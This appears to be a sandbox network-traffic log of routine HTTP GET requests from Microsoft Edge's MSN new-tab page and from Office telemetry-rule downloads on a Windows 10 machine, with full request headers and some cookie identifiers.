Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0D5DEEC7B95C6AE11814FBFAB85B6BD9&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=5403250a5a8f46e181c4622b9efadc8f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; _EDGE_S=F=1&SID=00138218F82B6D62278E9725F9436C7D; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732086561809&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1719a8aa6933433db3d31d52fe8028e8&activityId=1719a8aa6933433db3d31d52fe8028e8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=7D2F667AA08B4FBABBA697FE356868DA&MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; _EDGE_S=F=1&SID=00138218F82B6D62278E9725F9436C7D; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732086561810&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D5DEEC7B95C6AE11814FBFAB85B6BD9&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=15A00b3d5f8d7d1b62a42da1732086563; XID=15A00b3d5f8d7d1b62a42da1732086563
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0D5DEEC7B95C6AE11814FBFAB85B6BD9&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=3eada84fc861482be1742b74b0e49525 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; _EDGE_S=F=1&SID=00138218F82B6D62278E9725F9436C7D; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
